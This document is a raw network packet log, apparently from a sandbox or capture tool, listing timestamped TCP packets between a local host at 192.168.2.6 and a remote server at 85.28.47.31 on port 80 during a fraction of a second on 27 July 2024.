Jul 27, 2024 03:19:16.858057022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858068943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858074903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858102083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858109951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858164072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858171940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858216047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858222961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858259916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858268976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858381987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858392954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858417988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858424902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858452082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858462095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858486891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858493090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858521938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858529091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858563900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892003059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892060041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892112970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892148972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892160892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892194986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892241955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892275095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892286062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892308950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892317057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892343998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892353058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892385006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892719030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892774105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892796040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892843962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892851114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892884016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892896891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892916918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892930031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892951965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892962933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.892985106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.892996073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893030882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893692017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893722057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893744946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893759966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893773079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893812895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893821955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893857002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893865108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893889904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893898964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893924952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893940926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.893959045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.893984079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.894006014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.894870043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.894921064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.894923925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.894954920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.894965887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895000935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895005941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895040035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895052910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895072937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895083904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895107031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895118952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895152092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895915985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895965099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.895966053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.895999908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.896006107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.896033049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.896039009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.896068096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.896080017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.896101952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.896114111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.896147966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.896155119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.896205902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.897805929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.897857904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.897866964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.897892952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.897900105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.897928953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.897947073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.897980928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.897991896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898016930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898051023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898108006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898108006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898142099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898716927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898767948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898775101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898802042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898812056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898835897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898849964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898883104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898925066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898957014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.898977995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.898991108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.899002075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.899019957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.899034023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.899065971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.899868965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.899919033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.899924040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.899970055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.899972916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900007963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900017977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900052071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900058985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900093079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900114059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900126934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900135994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900161028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900192976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900192976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900206089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900228024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900234938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900264978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900265932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900296926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900305033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900331020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900336981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900365114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900372028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900405884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900782108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900816917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900832891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900857925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900890112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900923014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900937080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900958061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900966883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.900993109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.900998116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.901026964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.901034117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.901067972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944056034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944096088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944144011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944184065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944194078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944215059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944228888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944252968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944264889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944281101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944298029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944310904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944335938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.944343090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.944377899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945240974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945275068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945300102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945314884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945327044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945359945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945372105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945394039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945408106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945427895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945441961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945475101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945481062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945528030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945755959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945796013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945806026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945825100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945837021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945872068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945875883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945910931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945920944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945945978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.945957899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945991039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.945997000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946031094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946044922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946063042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946077108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946103096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946109056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946151018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946151972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946186066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946198940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946233034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946238041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946271896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946286917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946305990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946320057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946340084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.946353912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.946387053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948316097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948365927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948370934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948400974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948415041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948445082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948451996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948497057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948520899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948559046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948579073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948591948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948601007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948626041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948636055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948659897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948672056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948693991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948707104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948728085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948744059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948764086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948776007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948798895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948811054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948832989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.948846102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.948878050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981542110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981594086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981610060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981626987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981636047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981659889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981669903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981694937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981703043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981728077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981738091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981765032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981770039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981806993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.981952906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.981997967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982001066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982043982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982049942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982084036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982091904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982116938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982125044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982150078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982160091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982184887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.982192993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982225895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.982973099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983022928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983027935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983056068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983066082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983098984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983105898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983138084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983148098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983171940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983179092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983213902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.983217001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.983258009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984297037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984332085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984354973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984375000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984381914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984424114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984431028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984464884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984474897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984504938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984534979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984569073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.984579086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.984608889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985169888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985203028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985230923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985244036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985254049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985285997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985295057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985318899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985326052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985352039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985363007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985387087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985395908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985415936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.985434055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.985457897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986757040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986805916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986808062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986840963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986850977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986874104 CEST	80	49710	85.28.47.31	192.168.2.6
